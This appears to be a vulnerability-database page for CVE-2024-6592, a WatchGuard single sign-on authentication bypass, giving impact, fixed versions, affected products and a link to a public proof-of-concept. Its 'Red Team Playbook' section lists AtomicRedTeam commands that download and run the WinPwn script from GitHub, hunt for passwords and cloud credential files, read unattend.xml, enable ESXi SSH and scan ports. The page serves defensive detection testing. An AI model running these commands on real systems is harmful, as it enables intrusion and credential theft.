CVE-2024-6592
Overview
This vulnerability is an authentication bypass caused by incorrect authorization logic in the protocol communication between the WatchGuard Authentication Gateway and Single Sign-On Clients on Windows and MacOS. The root cause lies in improper validation of authentication tokens or session parameters exchanged between the Authentication Gateway and its clients, allowing unauthorized access to protected authentication functions. The affected components include the Authentication Gateway through version 12.10.2 and the Single Sign-On Clients on Windows (up to 12.7) and MacOS (up to 12.5.4).
Vulnerability Description
Incorrect Authorization vulnerability in the protocol communication between the WatchGuard Authentication Gateway (aka Single Sign-On Agent) on Windows and the WatchGuard Single Sign-On Client on Windows and MacOS allows Authentication Bypass.This issue affects the Authentication Gateway: through 12.10.2; Windows Single Sign-On Client: through 12.7; MacOS Single Sign-On Client: through 12.5.4.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to bypass authentication controls, gaining unauthorized access to systems protected by the WatchGuard Authentication Gateway and Single Sign-On Clients. This bypass allows attackers to impersonate legitimate users without credentials, potentially leading to unauthorized access to sensitive resources and lateral movement within the network. The vulnerability requires no user interaction and no privileges, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N, with high confidentiality and integrity impact.
Solution
WatchGuard has released security updates addressing this issue in advisory WGSA-2024-00014. Users should upgrade the Authentication Gateway to version 12.10.3 or later, the Windows Single Sign-On Client to version 12.8 or later, and the MacOS Single Sign-On Client to version 12.5.5 or later. Detailed patch instructions and version-specific guidance are available at https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2024-00014. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WatchGuard Authentication Gateway and its associated Single Sign-On Clients for Windows and MacOS stems from an incorrect authorization issue within the protocol communication between these components. This flaw allows for authentication bypass, enabling unauthorized users to gain access to systems and resources that should be protected. The affected versions of the Authentication Gateway extend through 12.10.2, while the Windows and MacOS Single Sign-On Clients are vulnerable through versions 12.7 and 12.5.4, respectively. The underlying technical issue arises from improper validation of user credentials during the authentication process, which can be exploited to circumvent security measures designed to restrict access.
Exploitation of this vulnerability can occur through various attack vectors. An adversary could leverage network access to intercept or manipulate the communication between the Authentication Gateway and the Single Sign-On Clients. By crafting specific requests or responses, an attacker could potentially impersonate a legitimate user or gain unauthorized access to sensitive resources. Additionally, if an attacker has local access to a vulnerable client, they could exploit the flawed authorization mechanism to bypass authentication entirely. Scenarios may include targeted attacks against organizations that rely heavily on the Single Sign-On functionality for centralized user management, making the impact of such exploitation particularly severe.
The real-world implications of this vulnerability are significant, posing substantial business risks. Organizations utilizing the affected products may find themselves exposed to unauthorized access, leading to data breaches, loss of sensitive information, and potential compliance violations. The high CVSS score of 9.1 indicates the critical nature of this flaw, suggesting that successful exploitation could result in severe consequences, including financial losses, reputational damage, and legal ramifications. Furthermore, the interconnected nature of modern IT environments means that a breach in one area could lead to cascading failures across other systems, amplifying the risk to an organization’s overall security posture.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating affected products to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their authentication mechanisms. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Employing robust access controls, including the principle of least privilege, can further mitigate risks by limiting the potential impact of any unauthorized access that may occur.
In conclusion, the incorrect authorization vulnerability in the WatchGuard Authentication Gateway and its Single Sign-On Clients presents a serious threat to organizations that utilize these products. The potential for exploitation through various attack vectors, combined with the significant real-world impact and business risks, underscores the importance of proactive security measures. By prioritizing detection and mitigation strategies, organizations can better safeguard their systems against this and similar vulnerabilities, ensuring a more secure operational environment.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Watchguard | Authentication Gateway | All |
cpe:2.3:a:watchguard:authentication_gateway:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Single Sign-On Client | All |
cpe:2.3:a:watchguard:single_sign-on_client:*:*:*:*:*:macos:*:*
|
|
|
Watchguard | Single Sign-On Client | All |
cpe:2.3:a:watchguard:single_sign-on_client:*:*:*:*:*:windows:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RedTeamPentesting/watchguard-sso-client
Client Implementation for the WatchGuard SSO Agent Protocol used for Security Research (CVE-2024-6592, CVE-2024-6593, CV...
|
RedTeamPentesting | 3 | 3 | 2024-09-17 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6592 |
| watchguard.com |
GitHub CVE
|
https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2024-00014 |